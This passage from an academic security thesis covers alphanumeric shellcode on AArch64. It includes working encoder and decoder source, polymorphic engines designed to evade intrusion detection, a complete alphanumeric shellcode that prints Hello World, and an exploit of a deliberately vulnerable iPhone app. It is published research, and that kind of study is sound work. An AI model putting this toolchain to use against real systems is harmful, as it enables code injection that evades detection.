tentatively disassembled it using objdump,2 keeping words corresponding to
valid and interesting instructions.

For instance, the word 000X corresponds to an ldr instruction, whereas
the word 000S does not correspond to any valid AArch64 instruction:

58303030 ldr x16 , PC+0 x60604
53303030 .inst 0x53303030 ; undefined

Alphanumeric words that do not correspond to any valid instruction
(“undefined”) are removed from our set. Valid instructions are categorized
into data processing, branch, load/store, etc. At this step we established
the set A of all valid alphanumeric AArch64 instructions.

From A, we listed AArch64 opcodes for which there exists at least
one valid alphanumeric instruction (a quick summary can be found in Ap-

2We used the options -D --architecture aarch64 --target binary.
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pendix 3.A). Hereafter, we detail all operands that could be used to proto-
type higher-level constructs. The main constraint arising in A comes from
the first bit of each instruction set to 0, which restricts us to only the 32-bit
variant of most instructions, hindering modification of the upper 32 bits of
a register.

Data processing The following data processing instructions belong to A.
We provide an excerpt from the reference manual [Arma] for any instruction
that we subsequently use:

• adds (immediate) 32-bit variant: add a register value and an
optionally-shifted immediate value, and write the result to the des-
tination register, updating the condition flags based on the result.

• subs (immediate) 32-bit variant: subtract an optionally-shifted im-
mediate value from a register value, and write the result to the desti-
nation register, updating the condition flags based on the result.

• sub (immediate) 32-bit variant: same as subs (immediate), without
updating the condition flags.

• orr (immediate) 32-bit variant: perform the bitwise (inclusive) dis-
junction of a register value and an immediate register value, and write
the result to the destination register.

• eor (immediate) 32-bit variant: perform the bitwise exclusive dis-
junction of a register value and an immediate register value, and write
the result to the destination register.

• ands (immediate) 32-bit variant: perform the bitwise conjunction of
a register value and an immediate register value, and write the result
to the destination register, updating the condition flags based on the
result.

• adr: add an immediate value to the PC value to form a PC-relative
address, and write the result to the destination register.

• sub (extended register) 32-bit variant: subtract a sign or zero-
extended register value, followed by an optional left shift amount, from
a register value, and write the result to the destination register.

• subs (extended register) 32-bit variant: same as sub (extended reg-
ister), updating the condition flags based on the result.

• sub (shifted register) 32-bit variant: subtract an optionally-shifted
register value from a register value, and write the result to the desti-
nation register.
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• subs (shifted register) 32-bit variant: same as sub (shifted register),
updating the condition flags based on the result.

• eor (shifted register) 32-bit variant: perform the bitwise exclusive
disjunction of a register value and an optionally-shifted register value,
and write the result to the destination register.

• eon (shifted register) 32-bit variant: perform the bitwise exclusive
disjunction of a register value and an optionally-shifted register value,
and write the negation of the result to the destination register.

• ands (shifted register) 32-bit variant: perform the bitwise conjunc-
tion of a register value and an optionally-shifted register value, and
write the result to the destination register, updating the condition
flags based on the result.

• bics (shifted register) 32-bit variant: perform a bitwise conjunction
of a register value and the complement of an optionally-shifted register
value, and write the result to the destination register, updating the
condition flags based on the result.

• bfm 32-bit variant, ubfm 32-bit variant, and ccmp (immediate and
register), not detailed here.

Branches Only tbz and tbnz have a realistic use for loops, as all other
branching instructions require an offset too large to be useful. Therefore,
we can restrict A to have only tbz and tbnz as branching instructions.

• tbz: compare the value of a test bit with zero, and conditionally
branch to a label at a PC-relative offset if the comparison is equal.

• tbnz : compare the value of a test bit with zero, and conditionally
branch to a label at a PC-relative offset if the comparison is not equal.

Exceptions and system Neither exceptions nor system instructions are
available. This means that we cannot use syscalls, nor clear the instruc-
tion or data cache. This makes writing higher-level code challenging and
environment-dependent.

Loads and stores Many load and store instructions can be alphanumeric,
that we do not detail here. However this still requires fine tuning to achieve
the desired result, as limitations on the various load and store instructions
are not consistent across registers.
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SIMD, floating point and crypto No floating point or cryptographic
instruction is alphanumeric. Some single instruction, multiple data (SIMD)
instructions are available, but the instructions moving data between SIMD
and general purposes registers are not alphanumeric. This limits the use of
such instructions to very specific cases. Therefore, we do not include any of
these instructions in A.

3.4 High-level constructs

A real-world program may need information about the state of registers and
memory, including the program counter and processor flags. This informa-
tion is not immediately obtainable using instructions from A. We overcome
this difficulty by providing higher-level constructs, which can then be com-
bined to form more complex programs. Those higher-level constructs also
make it easier to turn a program polymorphic, by just providing several
variants of each construct.

3.4.1 Register operations

Zeroing a register

There are multiple ways of setting an AArch64 register to zero. One of them
which is alphanumeric and works well on many registers consists in using
two ands instructions with shifted registers. However, we only manage
to reset the register’s 32 LSBs. This becomes an issue when dealing with
addresses for instance.

As an example, the following instructions reset w17, the 32 LSBs of
x17:

ands w17 , w17 , w17 , lsr #16
ands w17 , w17 , w17 , lsr #16

This corresponds to the alphanumeric code 1BQj1BQj. The following table
summarizes some of the zeroing operations we can perform:

a alow ← 0
w2 BlBjBlBj
w3 cdCjcdCj
w10 JAJjJAJj
w11 kAKjkAKj
w17 1BQj1BQj
w18 RBRjRBRj
w19 sBSjsBSj
w25 9CYj9CYj
w26 ZCZjZCZj
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Loading arbitrary values into a register

Loading a value into a register is the cornerstone of any program. Unfor-
tunately there is no direct way to perform a load using only alphanumeric
instructions. We hence opted for an indirect strategy by zeroing the register
combined with a sequence of adds and subs instructions with different
immediates, changing the value of the register to the desired amount (in A,
available immediates are quite large). In particular, we selected two consecu-
tive constants for increasing and decreasing registers, using an adds/subs
pair. By repeating such operations we can set registers to arbitrary values.

For instance, to increment register w11, we can use:

adds w11 , w11 , #0xc1a
subs w11 , w11 , #0xc19

which is encoded by ki01ke0q. And similarly to decrement:

subs w11 , w11 , #0xc1a
adds w11 , w11 , #0xc19

which is encoded by ki0qke01. We summarize the available increment and
decrement operations in the following table:3

a a← a+ 1 a← a− 1
w2 Bh01Bd0q Bh0qBd01
w3 ch01cd0q ch0qcd01
w10 Ji01Je0q Ji0qJe01
w11 ki01ke0q ki0qke01
w17 1j011f0q 1j0q1f01
w18 Rj01Rf0q Rj0qRf01
w19 sj01sf0q sj0qsf01
w25 9k019g0q 9k0q9g01
w26 Zk01Zg0q Zk0qZg01

Moving a register

Moving a register can be performed in two steps: first we set the destina-
tion register to zero, and then we perform the exclusive disjunction with
the source register as described previously (Section 3.4.2). Another ad hoc
method we use for moving w11 into w16 is:

adds w17 , w11 , #0xc10
subs w16 , w17 , #0xc10

which is encoded by qA010B0q. We will later use this approach when de-
signing a conjunction operator.

3We manually selected registers and constants to achieve the desired value. However,
it would be much more efficient to solve a knapsack problem, if one were to do this at a
larger scale.
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3.4.2 Bitwise operations

Exclusive disjunction

The exclusive disjunction B ← A⊕B uses a temporary register C, splitting
the two input registers into their higher and lower half-words.

C ← 0
Chigh ← Chigh ⊕ ¬Alow

Clow ← Clow ⊕ ¬Ahigh

Bhigh ← Bhigh ⊕ ¬Clow = Bhigh ⊕Ahigh

Blow ← Blow ⊕ ¬Chigh = Blow ⊕Alow

This gives the following pseudoassembly code:
; c=w17 , a=w16 -25, b=w18 -25
; c:=0
eon c, c, a, lsl #16
eon c, c, a, lsr #16
eon b, b, c, lsl #16
eon b, b, c, lsr #16
; b:=a eor b

In particular, when c = w17, we can perform the following operations:

a b b← a⊕ b
w16 w16 1B0J1BpJRB1JRBqJ
w16 w18 1B0J1BpJRB1JRBqJ
w16 w19 1B0J1BpJsB1JsBqJ
w16 w25 1B0J1BpJ9C1J9CqJ
w16 w26 1B0J1BpJZC1JZCqJ
w18 w19 1B2J1BrJsB1JsBqJ
w18 w25 1B2J1BrJ9C1J9CqJ
w18 w26 1B2J1BrJZC1JZCqJ
w19 w25 1B3J1BsJ9C1J9CqJ
w19 w26 1B3J1BsJZC1JZCqJ
w20 w25 1B4J1BtJ9C1J9CqJ
w20 w26 1B4J1BtJZC1JZCqJ
w21 w25 1B5J1BuJ9C1J9CqJ
w21 w26 1B5J1BuJZC1JZCqJ
w22 w25 1B6J1BvJ9C1J9CqJ
w22 w26 1B6J1BvJZC1JZCqJ
w23 w25 1B7J1BwJ9C1J9CqJ
w23 w26 1B7J1BwJZC1JZCqJ
w24 w25 1B8J1BxJ9C1J9CqJ
w24 w26 1B8J1BxJZC1JZCqJ
w25 w26 1B9J1ByJZC1JZCqJ
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Negation

We perform negation using the fact that ¬b = b ⊕ (−1), as numbers are
represented in two’s complement. Using the previously defined operations,
its implementation is straightforward:

C ← 0
C ← C − 1
B ← C ⊕B

Conjunction

The conjunction D ← A∧B is more complex and requires three temporary
registers C, E, and F . We manage to do it by doing the conjunction of
the lower and the upper parts of the two operands into a third register as
follows:

C,D,E, F ← 0
Chigh ← Chigh ⊕ ¬Blow

Ehigh ← Ehigh ⊕ ¬Alow
Flow ← Flow ⊕ ¬Ehigh = Alow

Dlow ← Flow ∧ ¬Chigh = Alow ∧Blow

C,E, F ← 0
Clow ← Clow ⊕ ¬Bhigh

Elow ← Elow ⊕ ¬Ahigh

Fhigh ← Fhigh ⊕ ¬Ehigh = Ahigh

Dhigh ← Fhigh ∧ ¬Clow = Ahigh ∧Bhigh

Which corresponds to the assembly code:

; c,d,e,f:=0
eon c, c, b, lsl #16
eon e, e, a, lsl #16
eon f, f, e, lsr #16
bics d, f, c, lsr #16
; c,e,f:=0
eon c, c, b, lsr #16
eon e, e, a, lsr #16
eon f, f, e, lsl #16
bics d, f, c, lsl #16
; d:=a and b
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As an illustration of this technique, let:

A← w18, B ← w25, C ← w17,

D ← w11, E ← w19, F ← w26

This corresponds to computing w11 ← w18 ∧ w25:

ands w11 , w11 , w11 , lsr #16
ands w11 , w11 , w11 , lsr #16
ands w17 , w17 , w17 , lsr #16
ands w17 , w17 , w17 , lsr #16
ands w19 , w19 , w19 , lsr #16
ands w19 , w19 , w19 , lsr #16
ands w26 , w26 , w26 , lsr #16
ands w26 , w26 , w26 , lsr #16
eon w17 , w17 , w25 , lsl #16
eon w19 , w19 , w18 , lsl #16
eon w26 , w26 , w19 , lsr #16
bics w11 , w26 , w17 , lsr #16
ands w17 , w17 , w17 , lsr #16
ands w17 , w17 , w17 , lsr #16
ands w19 , w19 , w19 , lsr #16
ands w19 , w19 , w19 , lsr #16
ands w26 , w26 , w26 , lsr #16
ands w26 , w26 , w26 , lsr #16
eon w17 , w17 , w25 , lsr #16
eon w19 , w19 , w18 , lsr #16
eon w26 , w26 , w19 , lsl #16
bics w11 , w26 , w17 , lsl #16

Which gets assembled as the following alphanumeric binary sequence:

kAKjkAKj1BQj1BQjsBSjsBSjZCZjZCZj1B9JsB2J
ZCsJKCqj1BQj1BQjsBSjsBSjZCZjZCZj1ByJsBrJ
ZC3JKC1j

We provide in Appendix 3.B a program generating more sequences of this
type.

3.4.3 Load and store operations

There are several load and store instructions available in A. We will only
focus or ldrb (which loads a byte into a register) and strb (which stores
the least significant byte of a register into memory).

ldrb is available with the basic addressing mode: ldrb wA , [xP ,
#n] which loads the byte at address xP+n into wA. Obviously, n should
be carefully chosen to keep the instruction alphanumeric, but this proved
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not to be a limiting constraint. We chain consecutive values of n to load
multiple bytes from memory without modifying xP.

Another addressing mode which can be used is ldrb wA , [xP , wQ ,
uxtx]. This will extend the 32-bits register wQ into a 64 bit one, padding
the high bits with zeros, and loads byte at address xP+wQ, removing the
need for an offset.

As an illustration, we load a byte from the address pointed by x10 and
store it to the address pointed by x11. First, we initialize a temporary
register to zero and remove the ldrb offset from x10 using the previous
constructs.

w19 ← 0
w25 ← w25 − 77

Then, we can actually load and store the byte using the two following in-
structions corresponding to the alphanumeric executable code Y5A9yI38.

ldrb w25 , [x10 , #77]
strb w25 , [x11 , w19 , uxtw]

3.4.4 Pointer arithmetic

As mentioned previously we only control the 32 LSBs of xP with data pro-
cessing instructions. If addresses exceed the 4GiB range, any use of data
instructions will clear the 32 upper bits, preventing us from using the con-
structs seen previously. Thus, we need a different approach.

We use another addressing mode which reads a byte from the source
register, and adds a constant to it. This addition is performed over 64 bits.
As an example, the following code snippet increments x10 while reading
one byte from the memory pointed to by the value of x10 (the same applies
to strb):

ldrb w18 , [x10], #100
ldrb w18 , [x10], #54
ldrb w18 , [x10], #-153

3.4.5 Branch operations

Given the severe restrictions on the minimum offset available for branching
instructions, only tbz and tbnz instructions are retained in A. tbz checks
whether the bth bit of its source register Rt is equal to zero and if so, jumps
to an immediate relative offset. We can implement unconditional jumps
by using a register that has been set to zero, and conditional jumps by
controlling the bth bit of source register Rt.

To keep our shellcode sort, we chose the smallest offset value available,
at the expense of restricting our choice for Rt and b. The smallest forward
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alphanumeric jump offset available is 1540 bytes, and the smallest backward
jump offset is 4276 bytes. The maximal offset reachable with any of these
instructions is less than 1MiB.

3.5 Fully Alphanumeric AArch64
The building blocks we described so far could be used to assemble complex
programs in a bottom-up fashion. However, even though many building
blocks could be designed in theory, in practice we get quickly limited by
our ability to use branches, system instructions and function calls: Turing-
completeness is not enough.

We circumvent this limitation by using a two-stage shellcode, the first
being an in-memory alphanumeric decoder (called the vector) leveraging
the higher-level constructs of the previous section, and the second being our
payload P encoded as an alphanumeric string.

The encoder E is written in PHP, while the corresponding decoder D
is implemented as part of the vector with instructions from A. Finally,
we implemented a linker LD that embeds the encoded payload in D. This
operation yields an alphanumeric shellcode A← LD(E(P )).

3.5.1 The Encoder

Since we have 62 alphanumeric characters, it is theoretically possible to
encode almost 6 bits per alphanumeric byte. However, to keep D short, we
only encode 4 bits per alphanumeric byte. This spreads each binary byte of
the payload P over 2 alphanumeric consecutive characters. The encoder E ,
whose source code can be found in Appendix 3.C, splits the input byte P [i]
in two and adds 0x40 to each nibble:

a[2i]← (b[i] & 0xF) + 0x40

a[2i+ 1]← (b[i]� 4) + 0x40

Zero is encoded in a special way: indeed the above encoding would give
0x40 i.e. the character ‘@’, which is not alphanumeric. We add 0x10 to
the previously computed a[k] to transform it into a 0x50 which corresponds
to the letter ‘P’.

3.5.2 The Decoder

As D must be an alphanumeric program, some tricks are needed to decode
D. Our solution is to use the following snippet:

; Input: wA and wB. wZ is 0. Output: wB
eon wA , wZ , wA , lsl #20
ands wB , wB , #0 xFFFF000F
eon wB , wB , wA , lsr #16
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The first eon shifts wA 20 bits to the left and negates it, since wZ is zero:

wA2 ← wZ ⊕ ¬(wA1 � 20) = ¬(wA1 � 20)

The ands is used to keep only the 4 LSBs of wB. The reason why the
pattern 0xFFFF000F is used (rather than the straightforward 0xF) is that the
instruction ands wB , wB , 0xFFFF000F is alphanumeric, while ands
wB, wB, 0xF is not.

The last eon performs the exclusive disjunction of wB and the negation
of wA shifted 16 bits to the right, thus recovering the 4 upper bits.

wB ← wB ⊕ ¬(wA2 � 16)
= wB ⊕ ¬(¬(wA1 � 20)� 16)
= wB ⊕ (wA1 � 4)

Although we wish D to be as small as possible, the smallest backward
jump has an offset of 4276 bytes, thus making D at least 4276 bytes.

3.5.3 Payload Delivery

The encoded payload is embedded directly in D’s main loop. D will decode
the encoded payload until completion (cf. 3.2), and will then jump into the
decoded payload (cf. 3.3).

To implement the main loop we need two jump offsets: one forward offset
large enough to jump over the encoded payload, and one even larger back-
ward offset to return to the decoding loop. The smallest available backward
offset satisfying these constraints is selected, alongside the largest forward
offset smaller than the chosen backward offset. Extra space is padded with
nop-like instructions.

The decoder’s source code is provided in Appendix 3.D.

3.5.4 Assembly and machine code

Note that there is no bijection between machine code and assembly. As an
example, 0x72304F39 (9O0r) is disassembled as

ands W25 , W25 , #0 xFFFF000F

but this very instruction, when reassembled, gives 0x72104F39 (9O.r), which
is not alphanumeric. Structurally, 9O0r and 9O.r are equivalent. However,
only the latter is chosen by the assembler. Thus, to ensure that our generated
code is indeed alphanumeric we had to insert this instruction’s hexadecimal
representation directly in the assembly code.
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Figure 3.2: First step: The encoded payload is decoded and placed further
down on the stack. Note that (2) is twice the size of (3).
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Figure 3.3: Second step: Once the payload is decoded, the decoder calls it.
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3.5.5 Polymorphic shellcode

It is possible to add partial polymorphism to both the vector and the payload
using our approach. Here our shellcode bypasses basic pattern matching
detection methods [Bon97] but more specific techniques can be used in order
to fool more recent IDS [Det+03].

The payload can be mutated using the fact that only the 4 LSBs of each
byte contain information about the payload, granting us the possibility to
modify the first 4 bits arbitrarily, as long as the instructions still remain
alphanumeric. This gives a total polymorphism of the payload as shown by
the polymorphic engine provided Appendix 3.E.1, which mutates each byte
into two to five possibilities. Moreover, the padding following the payload
is also mutated, as well as the NOP sled. Indeed, a trivial search reveals
more than 80 thousand instructions that could be used as NOP instructions
in our shellcode.

The vector is made partially polymorphic by creating different versions
of each high level construct. The two easiest ones being the zeroing, incre-
menting, and decrementing registers as defined in Section 3.4.1, which have
both been implemented in Appendix 3.E.2. Indeed, in order to zero a regis-
ter, it is possible replace the shift value by anything in the set {16..30}\{23}.
The same idea can be applied to increasing or decreasing a register, in which
the immediate value can be replaced by any other constant keeping the in-
struction alphanumeric (the values are in the range 0xc0c - 0xe5c, with
some gaps in between). These two techniques are enough to mutate 9 over
25 instructions of the decoder. All in all, we are able to mutate 4256 over
4320 bytes of the shellcode.

3.6 Experimental results

On ARM architectures, when memory is overwritten, the I-cache is not in-
validated. This hampers the execution of self-rewriting code, and has to be
circumvented: we need to flush the I-cache for our shellcode to work. Un-
fortunately the dedicated instruction is not alphanumeric4. More precisely,
two situations cause issues: execution of the decoder; jump to the decoded
payload.

Our concern mostly lies with the second point. Fortunately, it is sufficient
that the first instructions be not in the instruction cache to invalidate it and
flush it.5 In practice, even though the L1 cache is split into a data cache
L1d and a instruction cache L1i, we never ran into a cache coherency issue.

4Alternatively, we could assume we were working on a Linux OS and perform the
appropriate syscall, but again this instruction is not alphanumeric.

5Cache management is implementation-dependent when it comes to details, making
our code less portable.
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3.6.1 QEMU

As a proof-of-concept, we tested the code with QEMU [Bel05], disregarding
the above discussion on cache issues. Moreover, as addresses are below
the 4GB barrier, we can easily perform pointer arithmetic. We provide in
Appendix 3.F the output of our tool, where the input is a simple program
printing “Hello World!”. The result can be easily tested using the parameters
given in Appendix 3.F.

3.6.2 DragonBoard 410c

We then moved to real hardware. The DragonBoard 410c [Qua] is an
AArch64-based board with a Snapdragon 410 System on Chip (Soc). This
SoC contains an ARM Cortex A53 64-bit processor. This processor is widely
used (in the Raspberry Pi 3 among many others) and is thus representative
of the AArch64 world.

We installed Debian 8.0 (Jessie) and successfully ran a version of our
shellcode.

We had no issue with the I-cache: As we do not execute code on the
same cache line we write, the cache handler does not predict we are going
to branch there.

3.6.3 Apple iPhone

Finally we focused on the Apple iPhone 6 running iOS 8. Most iOS 8 appli-
cations are developed in the memory-unsafe Objective-C language, and re-
cent research seems to indicate the pervasiveness of vulnerabilities [Xin+15;
Nem16], all the more since a unicode exploit on CoreText6 working on early
iOS 8 has been released, which consists in a corruption of a pointer being
dereferenced.

We built an iPhone application to test our approach. For the sake of
credibility, we shaped our scenario on existing applications that are currently
available on the Apple Store. Thus, although we made the application vul-
nerable on purpose, we stress that such this vulnerability could realistically
be found in the wild.

Namely, the scenario is as follows:

• The application loads some statically compiled scripts, which are based
on players’ parameters

• It also interprets the downloaded scripts (they cannot be compiled per
Apple guidelines)

• Downloaded scripts (for example scripts made by users) are sanity-
checked (must be printable characters: blanks + 0x20-0x7E range)

6Also know as the ’effective power’ SMS exploit
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• Thus, there is an array of tuples {t, p} in which t indicates interpreted
script or JIT compiled executable code, and p is the pointer to the
aforementioned script or code.

• A subtle bug enables an attacker to assign the wrong type of script in
certain cases

• Thus we can force our ill-intentioned user-script to be considered as
executable code instead of interpretable script.

• Therefore our shellcode gets called as a function directly.

From then on, the decoder retrieves the payload and uses a gadget to
change the page permissions from “write” to “read|exec”7, and executes it.

In this proof-of-concept, our shellcode only changes the return value of
a function, displaying an incorrect string on the screen.

3.7 Conclusion
We described a methodology as well as a generic framework to turn arbitrary
code into an (equivalent) executable alphanumeric program for ARMv8-A
platforms. To the best of our knowledge, no such tools are available for this
platform, and up to this point most constructions were only theoretical.

Our final construction relies on a fine-grained understanding of ARMv8-
A specifics, yet the overall strategy is not restricted to that processor, and
can be transposed to other architectures.

7Apple iOS enforces executable-space protection
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3.A Summary of opcodes in A
• Data processing instructions:

adds , sub , subs , adr , bics , ands , orr ,
eor , eon , ccmp

• Load and store instructions:

ldr , ldrb , ldpsw , ldnp , ldp , ldrh , ldurb ,
ldxrh , ldtrb , ldtrh , ldurh , strb , stnp ,
stp , strh

• Branch instructions:

cbz , cbnz , tbz , tbnz , b.cond

• Other (SIMD, floating point, crypto...):

cmhi , shl , cmgt , umin , smin , smax , umax ,
usubw2 , ushl , srshl , sqshl , urshl ,
uqshl , sshl , ssubw2 , rsubhn2 , sqdmlal2 ,
subhn2 , umlsl2 , smlsl2 , uabdl2 , sabdl2 ,
sqdmlsl2 , fcvtxn2 , fcvtn2 , raddhn2 ,
addhn2 , fcvtl2 , uqxtn2 , sqxtn2 , uabal2 ,
sabal2 , sri , sli , uabd , sabd , ursra ,
srsra , uaddlv , saddlv , sqshlu , shll2 ,
zip2 , zip1 , uzp2 , mls , trn2

3.B Alphanumeric conjunction
The conjunction described in 3.4.2 can be automatically generated using the
following code. Register numbers as well as repetitive lines are abstracted
out using m4 [KR77], a well-known preprocessor language. This allows easily
changing a register number without changing every occurrence.

divert (-1)
changequote ({,})
define ({LQ},{ changequote(‘,’){dnl}
changequote ({,})})
define ({RQ},{ changequote(‘,’)dnl{
}changequote ({,})})
changecom ({;})

define ({ concat},{$1$2})dnl
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define ({A}, 18)
define ({B}, 25)
define ({C}, 17)
define ({D}, 11)
define ({E}, 19)
define ({F}, 26)
define ({WA}, concat(W,A))
define ({WB}, concat(W,B))
define ({WC}, concat(W,C))
define ({WD}, concat(W,D))
define ({WE}, concat(W,E))
define ({WF}, concat(W,F))

divert (0) dnl

ands WD , WD , WD , lsr #16
ands WD , WD , WD , lsr #16
ands WC , WC , WC , lsr #16
ands WC , WC , WC , lsr #16
ands WE , WE , WE , lsr #16
ands WE , WE , WE , lsr #16
ands WF , WF , WF , lsr #16
ands WF , WF , WF , lsr #16
eon WC , WC , WB , lsl #16
eon WE , WE , WA , lsl #16
eon WF , WF , WE , lsr #16
bics WD , WF , WC , lsr #16
ands WC , WC , WC , lsr #16
ands WC , WC , WC , lsr #16
ands WE , WE , WE , lsr #16
ands WE , WE , WE , lsr #16
ands WF , WF , WF , lsr #16
ands WF , WF , WF , lsr #16
eon WC , WC , WB , lsr #16
eon WE , WE , WA , lsr #16
eon WF , WF , WE , lsl #16
bics WD , WF , WC , lsl #16
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3.C Encoder’s Source Code

We give here the encoder’s full source code. This program is written in PHP.

function mkchr($c) {
return(chr(0x40 + $c));

}

$s = file_get_contents(’shellcode.bin.tmp’);
$p = file_get_contents(’payload.bin’);
$b = 0x60; /* Synchronize with pool */
for($i=0; $i <strlen($p); $i++)
{

$q = ord($p[$i]);
$s[$b+2*$i ] = mkchr(($q >> 4) & 0xF);
$s[$b+2*$i+1] = mkchr( $q & 0xF);

}
$s = str_replace(’@’, ’P’, $s);
file_put_contents(’shellcode.bin’, $s);

3.D Decoder’s Source Code

We give here the decoder’s full source code. This code is pre-processed by m4
[KR77] which performs macro expansion. The payload has to be be placed
at the offset designated by the label pool.

divert (-1)
changequote ({,})
define ({LQ},{ changequote(‘,’){dnl}
changequote ({,})})
define ({RQ},{ changequote(‘,’)dnl{
}changequote ({,})})
changecom ({;})

define ({ concat},{$1$2})dnl
define ({ repeat}, {ifelse($1 , 0, {}, $1 , 1,

{$2}, {$2
repeat(eval($1 -1), {$2})})})

define ({P}, 10)
define ({Q}, 11)
define ({S}, 2)
define ({A}, 18)
define ({B}, 25)
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define ({U}, 26)
define ({Z}, 19)

define ({WA}, concat(W,A))
define ({WB}, concat(W,B))
define ({WP}, concat(W,P))
define ({XP}, concat(X,P))
define ({WQ}, concat(W,Q))
define ({XQ}, concat(X,Q))
define ({WS}, concat(W,S))
define ({WU}, concat(W,U))
define ({WZ}, concat(W,Z))
divert (0) dnl

/* Set P */
l1: adr XP , l1+0 b010011000110100101101

/* Sync with pool */
subs WP , WP , #0x98 , lsl #12
subs WP , WP , #0xD19

/* Set Q */
l2: adr XQ , l2+0 b010011000110001001001

/* Sync with tbnz */
subs WQ , WQ , #0x98 , lsl #12
adds WQ , WQ , #0xE53
adds WQ , WQ , #0xC8C

/* Z:=0 */
ands WZ , WZ , WZ , lsr #16
ands WZ , WZ , WZ , lsr #16

/* S:=0 */
ands WS , WZ , WZ , lsr #12

/* Branch to code */
loop:tbnz WS , #0b01011 ,

0b0010011100001100

/* Load first byte in A */
ldrb WA , [XP , #76]

/* Load second byte in B */
ldrb WB , [XP , #77]

/* P+=2 */
adds WP , WP , #0xC1B
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subs WP , WP , #0xC19

/* Mix A and B */
eon WA , WZ , WA , lsl #20
/* ands WB , WB , #0 xFFFF000F */
.word 0x72304C00 +33*B
eon WB , WB , WA , lsr #16

/* strb B, [Q] */
strb WB , [XQ , WZ , uxtw]

/* Q++ */
adds WQ , WQ , #0xC1A
subs WQ , WQ , #0xC19

/* S++ */
adds WS , WS , #0xC1A
subs WS , WS , #0xC19

tbz WZ , #0b01001 , next

pool:repeat (978, {.word 0x42424242 })

/* NOPs */
next:repeat( 77, {ands WU , WU , WU , lsr

#12})

tbz WZ , #0b01001 , loop
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3.E Polymorphic engines

3.E.1 Payload polymorphism

The following shows a modification of the encoder, that randomizes both
the payload and the remaining blank space.
function mkchr($c) {

$a = [];
if($c >0x0){ $a[] = 0x40; $a[] = 0x60;}
if($c <0xA){ $a[] = 0x30;}
if($c <0xB){ $a[] = 0x50; $a[] = 0x70;}
return(chr($a[array_rand($a)]+$c));

}

function randalnum () {
$n = rand(0, 26+26+10 -1);
if($n <26) { return chr(0x41 + $n); }
$n -= 26;
if($n <26) { return chr(0x61 + $n); }
return chr(0x30 + $n - 26);

}

/* Replace $s = str_replace(’@’, ’P’, $s); with: */
$j = $b + 2*$i;
while($s[$j] === ’B’) {

$s[$j++] = randalnum ();
}

3.E.2 Constructs polymorphism

The following is an example of adding polymorphism for zeroing a register
as well as using a Haskell engine.
import Data.String.Utils
import Data.List
import Numeric
import Data.Random

val = "VAL"
valRange = [0xc0c , 0xc4c ,0xc8c]++[0 xc10..0xc14]++

[0 xc18..0xc1c]++[0 xc50..0xc54]++[0 xc58..0xc5c]++
[0 xc90..0xc94]++[0 xc98..0xc9c]++
[0xccc ,0xd4c ,0xd8c ,0xdcc]++[0 xcd0..0xcd4]++
[0 xcd8..0xcdc]++[0 xd10..0xd14]++[0 xd18..0xd1c]++
[0 xd50..0xd54]++[0 xd58..0xd5c]++[0 xd90..0xd94]++
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[0 xd98..0xd9c]++[0xe0c ,0xe4c]++[0 xdd0..0xdd4]++
[0 xdd8..0xddc]++[0 xe10..0xe14]++[0 xe18..0xe1c]++
[0 xe50..0xe54]++[0 xe58..0xe5c]

shift = "SHIFT"
shiftRange = [16 ..22]++[24 ..30]

replacePoly :: String -> String -> Maybe Int -> RVar String
replacePoly acc [] _param = return $ reverse acc
replacePoly acc s param = do

if (startswith shift s)
then do

randomSh <- randomElement shiftRange
replacePoly

(( reverse $ "#" ++ (show randomSh )) ++ acc)
(drop (length shift) s) param

else do
if (startswith val s)
then do

case param of
Just v -> do

replacePoly
(( reverse $ "#0x" ++ (showHex v ""))++acc)
(drop (length val) s) Nothing

Nothing -> do
v <- randomElement valRange
replacePoly

(( reverse $ "#0x" ++ (showHex v ""))++acc)
(drop (length val) s) $ Just v

else do
replacePoly ((head s):acc) (tail s) param

main = do
s <- readFile "vector.a64"
sr <- runRVar (replacePoly [] s Nothing) StdRandom
writeFile "vector.a64.poly" sr
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3.F Hello World Shellcode
The following program prints “Hello world” when executed in QEMU (tested
with qemu-system-aarch64 -machine virt -cpu cortex-a57 -machine
type=virt -nographic -smp 1 -m 2048 -kernel shellcode.bin
–append "console=ttyAMA0"). It was generated by the program described
in 3.5.

The notation (X)ˆ{Y} means that X is repeated Y times.

jiL0JaBqJe4qKbL0kaBqkM91k121sBSjsBSjb2Sj
b8Y7R1A9Y5A9Jm01Je0qrR2J9O0r9CrJyI38ki01
ke0qBh01Bd0qszH6PPBPJHMBAOPPPPIAAKPPPPID
PPPPPPADPPALPPECPBBPJAMBPAPCHPMBPABPJAOB
BAPPDPOIJAOOBOCGPAALPPECAOBHPPGADAPPPPOI
FAPPPPEDJPPAHPEBOGOOOOAGLPPCEOMFOMGKKNJI
OMPCPPIAOCPKPPOIOCPCPPJJFPPBDPCIHPPPPPCD
GCPFPPIANLOOOOIGOLOOOOAGOCPKDPOIOMGKLBJH
LPPCEOMFOMGKKOJIPPPMHPEBOMPCPPIANDOOOOIG
JPPLHPEBNBOOOOIGHPPMHPEBNPOOOOIGHPPMHPEB
MNOOOOIGNPPMHPEBMLOOOOIGHPPEHPEBMJOOOOIG
PPPDHPEBMHOOOOIGNPPNHPEBMFOOOOIGNPPMHPEB
MDOOOOIGDPPNHPEBMBOOOOIGHPPMHPEBMPOOOOIG
HPPLHPEBLNOOOOIGBPPDHPEBLLOOOOIGDPPAHPEB
LJOOOOIGPPPPHPEBOMGKLAJHLPPCEOMF
(BBBB)^{854}
(Z3Zj)^{77}
szO6



Chapter 4

Alphanumeric shellcoding on
RISC-V

In this chapter, we explain how to design RISC-V shellcodes
capable of running arbitrary code, whose ASCII binary repre-
sentation use only letters a–z and A–Z, digits 0–9, and one of
the three characters: #, /, ’.

This work was jointly conducted with Hadrien Barral, Rémi
Géraud, and David Naccache. It was published in Usenix WOOT
2019 [Bar+19a] and presented at DEF CON 27 [Bar+19b].

4.1 Introduction

RISC-V [WA17] is a new instruction set architecture (ISA) whose develop-
ment began in 2010. It is based on the concept of reduced instruction set
computer (RISC) [PS81], targeting simplicity by providing few and limited
computer instructions. RISC ISAs have become increasingly popular with
the wide adoption of embedded devices such as smartphones, tablets, or
other Internet of Things devices. The most popular RISC ISAs are cur-
rently ARM [Arma], Atmel AVR [Atm16], MIPS [Mip], Power [Ibm], and
SPARC [SPA91].

RISC-V is the fifth RISC ISA published by UC Berkeley. It is completely
free and open-source, with its User-Level ISA published in May 2017 in
version 2.2. It features 32-bit and 64-bit little-endian variants (designated
as RV32 and RV64), with a future extension to 128 bits. While only expensive
test boards feature RISC-V processors currently, many companies including
Western Digital or Nvidia have announced the use of RISC-V chips in their
future products.1

1https://www.barrons.com/articles/nvidia-western-digital-at-chips-
frontier-1516640945
